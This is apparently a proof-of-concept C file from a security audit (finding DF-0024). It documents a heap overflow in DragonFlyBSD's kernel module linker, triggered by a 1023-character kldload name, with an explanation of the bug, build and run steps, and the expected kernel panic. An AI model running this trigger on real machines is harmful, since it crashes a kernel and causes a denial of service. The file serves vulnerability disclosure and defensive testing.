DF-0024 / kldload_overflow.c
/* * DF-0024 PoC - heap overflow in linker_search_path() via over-long kldload * module name (root-only; defense-in-depth / local DoS). * * linker_search_path (sys/kern/kern_linker.c:1458) does * buf = kmalloc(MAXPATHLEN (=1024), M_LINKER, M_WAITOK); * and then (1476) strcpy(result + prefix_len, name); (1480) strcpy(result + result_len, *ext); * with NO check that prefix_len + sep + name_len + ext_len + 1 <= MAXPATHLEN. * * sys_kldload copyinstr()s the user file arg into a MAXPATHLEN buffer (798), * so a bare module name can be up to 1023 bytes. With the default linker_path * "/boot/kernel" (prefix_len=12 + sep=1 = 13), name(1023), ext ".ko"(3), NUL(1) * totals 1040 bytes into a 1024-byte buffer -> ~16-byte heap overflow into * adjacent M_LINKER objects. * * Requires SYSCAP_NOKLD (root); root can already kldload arbitrary .ko giving * kernel code execution, so this is a defense-in-depth / local DoS finding, not * a new privilege. Trivially panics a stock kernel. * * Build (DragonFlyBSD): cc -o kldload_overflow kldload_overflow.c * Run as ROOT (disposable VM): ./kldload_overflow * * Expected (bug present): kernel panic from heap corruption / slab assertion * ("freed pointer ... was modified", malloc red-zone, etc.). */ #include <sys/param.h> #include <sys/linker.h> #include <string.h> #include <stdio.h> int main(void) { char name[MAXPATHLEN]; memset(name, 'A', sizeof(name) - 1); name[sizeof(name) - 1] = '\0'; /* 1023 'A's */ printf("[*] kldload(\"%s\") (1023-byte name)\n", name); int id = kldload(name); if (id < 0) perror("kldload (expected on overflow path)"); printf("[*] kldload returned %d; on a buggy kernel expect a panic on/near " "the overflow\n", id); return 0; } |